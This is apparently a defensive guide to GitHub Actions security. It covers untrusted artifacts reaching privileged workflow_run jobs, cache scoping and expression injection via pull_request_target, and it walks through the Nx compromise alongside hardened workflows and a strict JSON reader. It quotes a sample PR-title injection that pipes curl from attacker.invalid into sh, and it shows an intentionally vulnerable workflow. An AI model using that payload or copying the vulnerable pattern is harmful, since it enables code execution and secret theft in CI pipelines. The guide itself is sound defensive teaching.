Keep untrusted CI work outside the release boundary

A workflow boundary is crossed whenever less trusted data influences a more privileged execution. A pull request can change code, dependency manifests, test fixtures and filenames. A later job may grant credentials to data created by that pull request through artifact download, generated scripts or a shared cache. Treat each edge as an input channel. Merely putting privileged work in another YAML file does not remove that channel.

In this guide, a contributor test produces report.zip. A workflow_run job downloads it and runs summarize.sh from inside the archive before posting a report. The contributor controls the script, while the second job has a write token. That composition creates a privilege crossing even though the privileged job never explicitly checks out the pull request. Authentication of the artifact's origin proves which run produced it; it does not make its executable content trustworthy. Untrusted outputs must remain data under a constrained parser or be rebuilt from trusted inputs.

GitHub warns about executing untrusted code in privileged workflows and on persistent self-hosted runners. Restrict token permissions, secrets, identity tokens, filesystem sharing and network reachability together. A job with no repository write permission may still reach internal deployment services through its runner network. An ephemeral registration record is not enough if the underlying disk or host state survives into the next job. Clean execution environments must include the state actually used by the build. actions/checkout v7 (June 2026), and the v2 to v6 releases backported on 2026-07-20, refuse to check out fork pull request code in pull_request_target and fork-triggered workflow_run runs unless allow-unsafe-pr-checkout: true is set. That guard does not cover run: steps that fetch the head with git or gh, nor artifacts and caches, so the handoff in this guide stays dangerous with the newest checkout. The 2021 Codecov compromise (/domains/supply-chain/ci-cd/case-study-codecov/) is the downloaded-tool version of the same problem: a third-party script ran in jobs that held every pipeline secret.

Separate caches by trust domain and only allow privileged writers to populate release caches. On GitHub, caches saved by pull_request runs are scoped to the merge ref, and since 2026-06-26 untrusted triggers that run in the default-branch context (pull_request_target, issue_comment and fork workflow_run) receive read-only cache tokens; a workflow that declares cache-mode: write gives that protection up and reopens the path to cache poisoning. A cache key containing a commit hash does not automatically make the cache trustworthy if the restore logic falls back to a broad prefix. Similarly, approving a pull request workflow run does not review every future instruction a dependency might download. Tradeoffs include extra build time, separate runner pools and reduced cache hit rates. Those costs are preferable to granting unreviewed code an implicit route to publication.

The runner evaluates ${{ }} expressions and pastes the results into the script before the shell parses it. A pull request title, issue body, branch name or commit message is attacker-chosen text, so a title such as a"; curl -sSf https://attacker.invalid/x | sh; echo " closes the quoted string and runs a command. The workflow below combines that injection with pull_request_target, which hands the job a token with pull-requests: write and the repository secrets. Untrusted context fields typically end in body, default_branch, email, head_ref, label, message, name, page_name, ref or title.

This is how the Nx packages were compromised in August 2025. A pull_request_target workflow echoed github.event.pull_request.title in a run: step; an attacker used it to trigger the privileged publish workflow with a malicious commit, sent its npm token to a webhook, and then published nx versions whose postinstall script stole developer credentials (CVE-2025-10894). Nx believes the attacker targeted an outdated branch that still contained the workflow after it was removed from the default branch; since 2025-12-08 pull_request_target always runs the default-branch workflow file. The Actions injection lab at /labs/actions-injection/ has you repair a linter that misses this pattern.

name: Triage
on:
  pull_request_target:
    types: [opened, edited]
permissions:
  pull-requests: write
jobs:
  title:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "Checking title: ${{ github.event.pull_request.title }}"

The repair moves the title into an environment variable, so the shell receives it as a value and never as script text, and quotes it as "$TITLE" to prevent word splitting. A title check needs no write access, so the job also moves to pull_request and drops every token permission. Apply the same rule to actions/github-script: read process.env.TITLE inside the script rather than interpolating ${{ }} into JavaScript. The variable is still untrusted after this change; never pass it to eval, a template engine or an unquoted command line.

name: Triage
on:
  pull_request:
    types: [opened, edited, synchronize]
permissions: {}
jobs:
  title:
    runs-on: ubuntu-latest
    steps:
      - env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^(feat|fix|docs):\  ]]; then
            echo "Title format accepted"
          else
            echo "::error::Start the title with feat:, fix: or docs:"
            exit 1
          fi

For the fictional workflow below, the report consumer needs only passed and failed test counts. A safe handoff can accept a bounded JSON object, reject unexpected keys/types and never execute files supplied by the producer. The protected consumer implementation defines the parser and rendering behavior. It must also select the intended run and artifact using verified metadata, enforce size limits, and handle malformed input without falling back to shell execution.

The reader below implements the fixture contract: at most 4096 bytes, one JSON object with exactly the keys passed and failed, and integers from 0 to 100000. It rejects duplicate keys and NaN, and compares the exact type because Python bool is a subclass of int, so isinstance(True, int) is true. It prints only the validated numbers, formats nothing from the input, and never extracts filenames, resolves symlinks or runs a bundled script. If a richer report is required, expand the schema intentionally and test text rendering as untrusted content.

"""Read an untrusted test-count file. It is parsed as data and never executed."""
import json
import sys

MAX_BYTES = 4096
LIMIT = 100_000


def unique_keys(pairs):
    keys = [key for key, _ in pairs]
    if len(keys) != len(set(keys)):
        raise ValueError("duplicate key")
    return dict(pairs)


def no_constants(name):
    raise ValueError(f"{name} is not allowed")


def read_counts(raw: bytes) -> tuple[int, int]:
    if len(raw) > MAX_BYTES:
        raise ValueError(f"larger than {MAX_BYTES} bytes")
    data = json.loads(raw, object_pairs_hook=unique_keys, parse_constant=no_constants)
    if not isinstance(data, dict) or set(data) != {"passed", "failed"}:
        raise ValueError("expected exactly the keys passed and failed")
    for key in ("passed", "failed"):
        # bool is a subclass of int, so compare the exact type.
        if type(data[key]) is not int or not 0 <= data[key] <= LIMIT:
            raise ValueError(f"{key} must be an integer from 0 to {LIMIT}")
    return data["passed"], data["failed"]


if __name__ == "__main__":
    with open(sys.argv[1], "rb") as handle:
        raw = handle.read(MAX_BYTES + 1)
    try:
        passed, failed = read_counts(raw)
    except (ValueError, RecursionError) as error:
        sys.exit(f"rejected: {error}")
    print(f"passed={passed}")
    print(f"failed={failed}")

The test workflow uploads counts.json as a single unarchived file with actions/upload-artifact and archive: false. The report workflow below runs from the default branch, so its checkout contains the reviewed reader rather than pull request code. It downloads that one file from the triggering run with skip-decompress: true, so nothing is unpacked, and with digest-mismatch: error. The validated counts then become a commit status through environment variables. Its token can read Actions artifacts and write statuses; it cannot push code or read secrets that the job does not reference. /domains/supply-chain/ci-cd/github-actions-hardening/ applies the same split to a comment bot and adds a jq schema check.

zizmor reports dangerous-triggers for every workflow_run workflow. The inline ignore records why this one is accepted: it executes no pull request code and treats the artifact as bounded data. Keep that reason accurate when the workflow changes.

name: Report
on: # zizmor: ignore[dangerous-triggers] -- runs no pull request code
  workflow_run:
    workflows: [Test]
    types: [completed]
permissions: {}
jobs:
  report:
    if: github.event.workflow_run.event == 'pull_request'
    runs-on: ubuntu-latest
    permissions:
      actions: read # download the artifact from the triggering run
      contents: read # check out the reader from the default branch
      statuses: write # publish the result as a commit status
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
        with:
          name: counts.json
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ github.token }}
          path: ${{ runner.temp }}/counts
          skip-decompress: true
          digest-mismatch: error
      - id: counts
        run: python3 .github/scripts/read_counts.py "$RUNNER_TEMP/counts/counts.json" >> "$GITHUB_OUTPUT"
      - env:
          GH_TOKEN: ${{ github.token }}
          HEAD_SHA: ${{ github.event.workflow_run.head_sha }}
          PASSED: ${{ steps.counts.outputs.passed }}
          FAILED: ${{ steps.counts.outputs.failed }}
        run: |
          state=success
          if [ "$FAILED" -gt 0 ]; then state=failure; fi
          gh api "repos/$GITHUB_REPOSITORY/statuses/$HEAD_SHA" \
            -f state="$state" -f context=tests/report \
            -f description="$PASSED passed, $FAILED failed"

A secret-access probe, a write-permission probe and a persistence probe establish different properties. A clean log does not prove that a secret was unavailable; masking can hide it. In an authorized test environment, use synthetic canaries and inspect effective permissions or audit events. A harmless marker written by an untrusted job should never appear in the next protected workspace or restored release cache. A report with an extra executable field should fail schema validation before any privileged action.

The exercise below is a desk assessment with complete proposed inputs. It lets you reason about a handoff without running malicious scripts or contacting external services. A real rollout additionally tests the workflow's event conditions, run selection, artifact permission rules and race behavior. Retain those observations as evidence tied to the workflow revision, together with zizmor and actionlint results for the same revision. A green workflow that still executes the archive's summarize.sh fails the design requirement even if its output looks benign.

Repair the code

Actions injection lab: Flag GitHub Actions expression injection

Sources & further reading

The standards, specifications and documentation behind the guidance above. Each is the evidence for a claim on this page; consult it for detail beyond the defaults and versions listed here.

1. GitHub Actions secure use reference
2. SLSA 1.2 specification. v1.2 (approved November 2025).
3. GitHub Docs: script injections
4. GitHub Docs: dependency caching reference
5. GitHub changelog: safer pull_request_target defaults for actions/checkout (2026-06-18)
6. GitHub changelog: read-only Actions cache for untrusted triggers (2026-06-26)
7. Nx security advisory GHSA-cxm3-wv7p-598c: malicious versions of Nx and some supporting plugins were published. 27 August 2025.
8. actions/download-artifact
9. zizmor audit rules
10. OWASP Top 10 CI/CD Security Risks: CICD-SEC-4 Poisoned Pipeline Execution (PPE). v1.0 (2022).
11. OWASP Top 10 CI/CD Security Risks: CICD-SEC-5 Insufficient PBAC (Pipeline-Based Access Controls). v1.0 (2022).

Reference information

Tags

InjectionCI/CD security

SDLC phase

DevelopmentRelease

Role

Developers

CAPEC attack patterns

• CAPEC-88 at MITRE
• CAPEC-242 at MITRE

Download this guide as Markdown

Continue exploring